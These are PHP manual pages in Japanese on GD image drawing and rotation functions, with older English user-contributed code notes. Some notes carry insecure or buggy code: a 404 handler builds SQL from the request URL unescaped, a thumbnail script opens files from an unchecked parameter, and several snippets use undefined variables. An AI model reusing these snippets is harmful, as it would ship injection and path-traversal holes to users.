        $im_dest = imagecreatetruecolor ($forcedwidth, $forcedheight);
        imagealphablending($im_dest, false);
        imagecopyresampled($im_dest, $im, 0, 0, 0, 0, $wm_width, $wm_height, $forcedwidth, $forcedheight);
        imagesavealpha($im_dest, true);
        imagepng($im_dest, $destfile);
        imagedestroy($img_dest);

ps you also forgot image destroy and you had a random var in imagepng undefined in your post
bart at resolume dot com 06-Apr-2006 08:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com 27-Dec-2005 07:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
    list($width, $height, $type, $attr) = getimagesize($src);
    $im = imagecreatefrompng($src);
    $tim = imagecreatetruecolor($dstw,$dsth);
    imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
    $tim = ImageTrueColorToPalette2($tim,false,255);
    imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy($colors_handle);
    return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com 24-Dec-2005 01:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info 04-Jul-2005 08:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
    header('Content-type: image/png');
    header('Content-Length: ' . strlen($img));
    return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com 20-May-2005 11:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net 04-May-2005 07:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
dws at mrao dot cam dot ac dot uk 22-Jan-2005 02:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
pm at dontspamme dot pietmarcus dot com 23-Aug-2004 01:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '\\');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com 17-Aug-2004 07:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de 16-Apr-2003 06:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
    $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
    $imageurl = $imgpath . $nofileurl;
else
    $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
      case 1:
       # GIF image
        $timg = imageCreateFromGIF($imageurl);
        break;
    case 2:
       # JPEG image
        $timg = imageCreateFromJPEG($imageurl);
        break;
    case 3:
       # PNG image
        $timg = imageCreateFromPNG($imageurl);
        break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
$newX = $imgX/$_K * 100;
$newY = $imgY/$_K * 100;

# set start positoin of the image
# always centered
$posX = ($maxX-$newX) / 2;
$posY = ($maxY-$newY) / 2;

# creating new image with given sizes
$imgh = imageCreateTrueColor($maxX, $maxY);

# setting colours
$cols = explode(",", $picBG);
$bgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));
$cols = explode(",", $picFG);
$fgcol = imageColorallocate($imgh, trim($cols[0]), trim($cols[1]), trim($cols[2]));

# fill background
imageFill($imgh, 0, 0, $bgcol);

# create small copy of the image
imageCopyResampled($imgh, $timg, $posX, $posY, 0, 0, $newX, $newY, $image[0], $image[1]);

# writing copyright note
imageStringUp($imgh, $font, $maxX-9, $maxY-3, $copyright, $fgcol);

# output
switch($image[2]) {
      case 1:
    # GIF image
        header("Content-type: image/gif");
        imageGIF($imgh);
    case 2:
    # JPEG image
        header("Content-type: image/jpeg");
        imageJPEG($imgh);
    case 3:
    # PNG image
        header("Content-type: image/png");
        imagePNG($imgh);
}

# cleaning cache
imageDestroy($timg);
imageDestroy($imgh);

?>
23-Jan-2003 10:20
"Tip: As with anything that outputs its result directly to the browser, you can use the output-control functions (http://www.php.net/manual/en/ref.outcontrol.php) to capture the output of this function, and save it in a string (for example)."

ob_start();
imagepng($image);
$image_data = ob_get_contents();
ob_end_clean();

And now you can save $image_data to a database, for example, instead of first writing it to file and then reading the data from it. Just don't forget to use mysql_escape_string...
johnbeech at mkv25.net 20-Jan-2003 04:41
PNG files are already compressed. They use a lossless compression algorithm. If you are using HighColour images, the compression only does so much. For low colour images (16 or 256) the compression is much better.

It is pointless trying to compress the images further before sending to a browser.
bgd1977 at hotmail dot com 26-Jul-2002 06:37
I have experienced segfaults and bus errors with the following configuration: FreeBSD4.4, Apache 1.3.26, PHP 4.2.2, GD-1.8.4, PDFlib 4.0.1. The apache process crashed when calling the imagepng function, but it didn't crash when calling the imagejpg function, or imagecreatefrompng...

 Some wasted hours (lots) later, in which I have tried to recompile gd, libpng, php, libjpeg, what-not, I have found the following advices:
http://bugs.php.net/bug.php?id=16841

 So the problem was not with the png library, but rather with the PDFlib. Even though all the threads led to a png-problem... so I have simply upgraded to PDFlib 4.0.3 (w/o any special configure arguments; --with-libpng didn't work anyways), recompiled PHP, and now everything works (imagepng, pdf creation, etc.).

 Hope this helps,
 bogdan
ruelle at xtof dot com 17-Feb-2002 06:34
Better than a chmod 777 to any '/dir/pic.png' you should :
- test if dir is writable (is_writable func.)
- use chmod 700 (more secure because let only the webserver ID have access)

In any case you should program a (crontab) script to change the owner ID of any images created.


多角形を描画する

  • ≪ imagepng
  • imagerectangle ≫
  • PHP Manual
  • GD および Image 関数
  • 多角形を描画する

imagepolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepolygon — 多角形を描画する

説明

imagepolygon ( resource $image , array $points , int $num_points , int $color ) : bool

代替のシグネチャ (PHP 8.0.0 以降)

imagepolygon ( resource $image , array $points , int $color ) : bool

imagepolygon() は、指定した image に多角形を作成します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

points

多角形の頂点からなる PHP の配列で、 次のようになります。

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

頂点の総数。最小でも3でなければなりません。

代替のシグネチャ(PHP 8.0.0 以降) でこの引数が省略された場合、 points は偶数でなければいけません。また、 num_points は count($points)/2 であると仮定されます。
color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagepolygon() の例

<?php
// 空の画像を生成します
$image = imagecreatetruecolor(400, 300);

// 多角形の色を選択します
$col_poly = imagecolorallocate($image, 255, 255, 255);

// 多角形を描画します
imagepolygon($image, array(
        0,   0,
        100, 200,
        300, 200
    ),
    3,
    $col_poly);

// 画像を出力します
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagepolygon()

参考

  • imagefilledpolygon() - 塗りつぶした多角形を描画する
  • imageopenpolygon() - オープンポリゴンを描画する
  • imagecreate() - パレットを使用する新規画像を作成する
  • imagecreatetruecolor() - TrueColor イメージを新規に作成する

User Contributed Notes

licson0729 at gmail dot com 23-May-2012 11:21
Here's a function to draw a n-sided star:

<?php
function drawStar($img,$x,$y,$radius,$sides,$color,$spikness=0.5)
{
    $point =array();
    $t = 0;
    for($a = 0;$a <= 360;$a += 360/($sides*2))
    {
        $t++;
        if($t % 2 == 0)
        {
            $point[] = $x + ($radius * $spikness) * cos(deg2rad($a));
            $point[] = $y + ($radius * $spikness) * sin(deg2rad($a));
        }else{
            $point[] = $x + $radius * cos(deg2rad($a));
            $point[] = $y + $radius * sin(deg2rad($a));
        }
    }
    return imagepolygon($img,$point,$sides*2,$color);
}
?>
licson0729 at gmail dot com 21-May-2012 10:39
Function to draw a n-sided regular polygon

<?php
$img = imagecreatetruecolor(1360,768);

function regularPolygon($img,$x,$y,$radius,$sides,$color)
{
    $points = array();
    for($a = 0;$a <= 360; $a += 360/$sides)
    {
        $points[] = $x + $radius * cos(deg2rad($a));
        $points[] = $y + $radius * sin(deg2rad($a));
    }
    return imagepolygon($img,$points,$sides,$color);
}

regularPolygon($img,1360/2,768/2,300,8,0xffffff);//Test draw

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
tatlar at yahoo dot com 11-Sep-2006 04:48
Function to get 5-sided polygon (pentagon) or star (pentagram) co-ords.
<?php
function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    $point = array() ; // new array
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // degree of spikiness, default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
?>
jsnell at networkninja dot com 17-Feb-2001 07:07
Here are some handy routines for rotation and translation of polygons.  Scaling could be added easily as well.

<?php
function translate_point(&$x,&$y,$angle,$about_x,$about_y,$shift_x,$shift_y)
{
    $x -= $about_x;
    $y -= $about_y;
    $angle = ($angle / 180) * M_PI;
/* math:
[x2,y2] = [x,  *  [[cos(a),-sin(a)],
           y]      [sin(a),cos(a)]]
==>
x = x * cos(a) + y*sin(a)
y = x*-sin(a) + y*cos(a)
*/

    $new_x = $x * cos($angle) - $y * sin($angle);
    $new_y = $x * sin($angle) + $y * cos($angle);
    $x = $new_x+ $about_x + $shift_x ;
    $y = $new_y + $about_y + $shift_y;
}

function translate_poly($point_array, $angle, $about_x, $about_y,$shift_x,$shift_y)
{
    $translated_poly = Array();
    while(count($point_array) > 1)
    {
        $temp_x = array_shift($point_array);
        $temp_y = array_shift($point_array);
        translate_point($temp_x, $temp_y, $angle, $about_x, $about_y,$shift_x, $shift_y);
        array_push($translated_poly, $temp_x);
        array_push($translated_poly, $temp_y);
    }
    return $translated_poly;
}
?>


矩形を描画する

  • ≪ imagepolygon
  • imageresolution ≫
  • PHP Manual
  • GD および Image 関数
  • 矩形を描画する

imagerectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagerectangle — 矩形を描画する

説明

imagerectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color ) : bool

imagerectangle() は、指定した座標から始まる矩形を作成します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

x1

左上の x 座標。

y1

左上の y 座標。 0, 0 が画像の左上隅を表します。

x2

右下の x 座標。

y2

右下の y 座標。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンプルな imagerectangle() の例

<?php
// 200 x 200 の画像を作成します
$canvas = imagecreatetruecolor(200, 200);

// 色を割り当てます
$pink = imagecolorallocate($canvas, 255, 105, 180);
$white = imagecolorallocate($canvas, 255, 255, 255);
$green = imagecolorallocate($canvas, 132, 135, 28);

// 3 つの矩形をそれぞれの色で描画します
imagerectangle($canvas, 50, 50, 150, 150, $pink);
imagerectangle($canvas, 45, 60, 120, 100, $white);
imagerectangle($canvas, 100, 120, 75, 160, $green);

// 出力してメモリから解放します
header('Content-Type: image/jpeg');

imagejpeg($canvas);
imagedestroy($canvas);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : シンプルな imagerectangle() の例

User Contributed Notes

stanislav dot eckert at vizson dot de 10-Jun-2015 09:15
Please pay attention if you want to draw pixel perfect rectangles: Since this function uses absolute values for the second coordinate points (instead of width and height), you might face a logical problem. PHP counts from 0. But a pixel at position 0,0 occupies already a 1x1 space. In the example above you have the following line:

imagerectangle($canvas, 50, 50, 150, 150, $pink);

If you don't pay attention, you might thing that the difference between the two coordinates is exactly 100 and assume that the drawn rectangle would have the dimension of 100 x 100 pixels too. But it would be 101 x 101, because PHP counts from 0 and imagerectangle() uses absolute coordinates for the second point too. A smaller example: A rectangle with coordinates 0,0 and 5,5 means 0,1,2,3,4,5 which are 6 pixels, not 5.
rogier 27-Jun-2007 05:27
In addition to Corey's note, this is the kind of code he means. Note that I always draw an outer grid border, so drawing lines will always take
1 + ceil((rows+cols)/2) actions. For a 20X20 grid, this means 21 actions, a 10X25 grid takes 19 Actions

<?php

function draw_grid(&$img, $x0, $y0, $width, $height, $cols, $rows, $color) {
    //draw outer border
    imagerectangle($img, $x0, $y0, $x0+$width*$cols, $y0+$height*$rows, $color);
    //first draw horizontal
    $x1 = $x0;
    $x2 = $x0 + $cols*$width;
    for ($n=0; $n<ceil($rows/2); $n++) {
        $y1 = $y0 + 2*$n*$height;
        $y2 = $y0 + (2*$n+1)*$height;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
    //then draw vertical
    $y1 = $y0;
    $y2 = $y0 + $rows*$height;
    for ($n=0; $n<ceil($cols/2); $n++) {
        $x1 = $x0 + 2*$n*$width;
        $x2 = $x0 + (2*$n+1)*$width;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
}

//example
$img = imagecreatetruecolor(300, 200);
$red   = imagecolorallocate($img, 255,   0,   0);
draw_grid($img, 0,0,15,20,20,10,$red);
header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
have fun ;)
Corey 13-Feb-2007 03:09
Matt,

I agree that drawing 100 boxes for a 10x10 square is ludicrous. However, if we're going to talk about the best way to draw it in GD, you're still off.

Since a rectangle will draw two vertical lines in one draw, we should use it to our advantage. You can draw 5 rectangles that have the tops and bottoms outside of the image, and there you have your ten rows. Draw 5 more who's sides are out of the image and you have your columns. We just drew a 10x10 (you could do 11x11) grid in 10 draw operations.

:)
administrador(ensaimada)sphoera(punt)com 04-May-2006 07:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
    if ($filled==1){
        imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
        imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
        imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

        imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
    }else{
        imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
        imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
        imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
        imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

        imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
        imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
        imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
        imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
    }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net 20-Feb-2006 03:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
    imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
    imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net 30-Jan-2006 02:25
Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
    $endy = $starty + $height * $yrows;
    for ( $x=0; $x <= $xcols; $x++ ) {
        $x1 = $startx + $width * $x;
        imageline ( $im, $x1, $starty, $x1, $endy, $color );
    }

    $endx = $startx + $width * $xcols;
    for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
    }
}
eustaquiorangel at yahoo dot com 17-Dec-2002 09:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.


画像の解像度を取得/設定する

  • ≪ imagerectangle
  • imagerotate ≫
  • PHP Manual
  • GD および Image 関数
  • 画像の解像度を取得/設定する

imageresolution

(PHP 7 >= 7.2.0, PHP 8)

imageresolution — 画像の解像度を取得/設定する

説明

imageresolution ( resource $image ) : mixed
imageresolution ( resource $image , int $res_x , int $res_y = $res_x ) : mixed

imageresolution() 関数は、 画像の解像度を DPI(dots per inch) 単位で取得/設定します。 オプションのパラメータが指定されなかった場合は、 現在の解像度を配列で返します。 res_x だけが指定されると、 垂直/水平方向の解像度がこの値に設定されます。 オプションのパラメータが両方指定されると、 垂直/水平方向の解像度がそれぞれ指定された値に設定されます。

この手の情報をサポートしている画像フォーマットを読み書きする場合(現状、PNG と JPEG)に、 解像度情報はメタ情報としてのみ使われます。画像を描画する操作には一切影響しません。 新しい画像の解像度は 96DPI です。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

res_x

水平方向の解像度をDPI単位で指定します。

res_y

垂直方向の解像度をDPI単位で指定します。

返り値

getter として使う場合(最初のシグネチャ)、 水平方向と垂直方向の解像度を成功時には返します。 失敗した場合に false を返します。 setter として使う場合(ふたつめのシグネチャ)、 成功時には true を返し、失敗した場合に false を返します。

例

例1 画像の解像度を取得/設定する

<?php
$im = imagecreatetruecolor(100, 100);
imageresolution($im, 200);
print_r(imageresolution($im));
imageresolution($im, 300, 72);
print_r(imageresolution($im));
?>

上の例の出力は以下となります。

Array
(
    [0] => 200
    [1] => 200
)
Array
(
    [0] => 300
    [1] => 72
)

User Contributed Notes

There are no user contributed notes for this page.


指定された角度で画像を回転する

  • ≪ imageresolution
  • imagesavealpha ≫
  • PHP Manual
  • GD および Image 関数
  • 指定された角度で画像を回転する

imagerotate

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagerotate — 指定された角度で画像を回転する

説明

imagerotate ( resource $image , float $angle , int $bgd_color , int $dummy = 0 ) : resource|false

画像 image を、 angle で指定された角度だけ回転します。

回転の中心は画像の中心です。 回転後の画像の大きさは、もとの大きさと異なる可能性があります。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

angle

回転角度。これは、画像を反時計回りに回転させるときの度数を表します。

bgd_color

回転後、カバーされない部分の色。

dummy

この引数は使われていません。

返り値

回転させた画像のリソースを返します。失敗した場合に false を返します。

例

例1 画像を 180 度回転する

この例は、画像を 180 度 - 上下逆さまに回転します

<?php
// ファイルと回転角
$filename = 'test.jpg';
$degrees = 180;

// コンテントタイプ
header('Content-type: image/jpeg');

// 読み込み
$source = imagecreatefromjpeg($filename);

// 回転
$rotate = imagerotate($source, $degrees, 0);

// 出力
imagejpeg($rotate);

// メモリの解放
imagedestroy($source);
imagedestroy($rotate);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 画像を 180 度回転する

注意

注意:

この関数は、imagesetinterpolation() で設定した補間方式の影響を受けます。

参考

  • imagesetinterpolation() - 補間方法を設定する

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 07:31
The angle in imagerotate() is the number of degrees to rotate the image anti-clockwise, but while it may seem natural to use '-90' to turn an image 90 degrees clockwise, the end result may appear on a slight angle, and may cause the rotated image to appear slightly blurred with a background or border. Excessively large angles may also present sampling issues.

The easiest way to prevent these, is to ensure all angles are between 0 and 360.

<?php
while ( $angle < 0 ) { $angle += 360; }
while ( $angle >= 360 ) { $angle -= 360; }

$rotated = imagerotate( $image, $angle, $color );
?>
TNTcode 09-Oct-2017 12:33
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
xarris_ at hotmail dot com 06-Oct-2015 03:53
An issue with imagerotate() is it might need more memory than what is available. It was failing in my script so I tried to increase it with ini_set('memory_limit', '256M')
and everything works fine now.
meisterix at gmx dot com 16-Jul-2012 09:24
After some INet searches and personal try-and-failures I succeed to rotate PNG images with preserving alpha channel transparency (semi transparency).

<?php
    $filename = 'YourFile.png';
    $rotang = 20; // Rotation angle
    $source = imagecreatefrompng($filename) or die('Error opening file '.$filename);
    imagealphablending($source, false);
    imagesavealpha($source, true);

    $rotation = imagerotate($source, $rotang, imageColorAllocateAlpha($source, 0, 0, 0, 127));
    imagealphablending($rotation, false);
    imagesavealpha($rotation, true);

    header('Content-type: image/png');
    imagepng($rotation);
    imagedestroy($source);
    imagedestroy($rotation);
?>
henzeberkheij at gmail dot com 01-Jan-2012 02:27
Keep in mind this function rotates counterclockwise.  if you want to go 90 degrees clockwise, you have to tell imagerotate to go 270 degrees counter-clockwise.

$angle = 360-$angle;
Sam Yong - hellclanner at live dot com 27-Sep-2011 06:20
Note that the image resource returned from the imagerotate() function is an entirely different image resource from your original one.

<?php

$res = imagecreatetruecolor(100, 200);
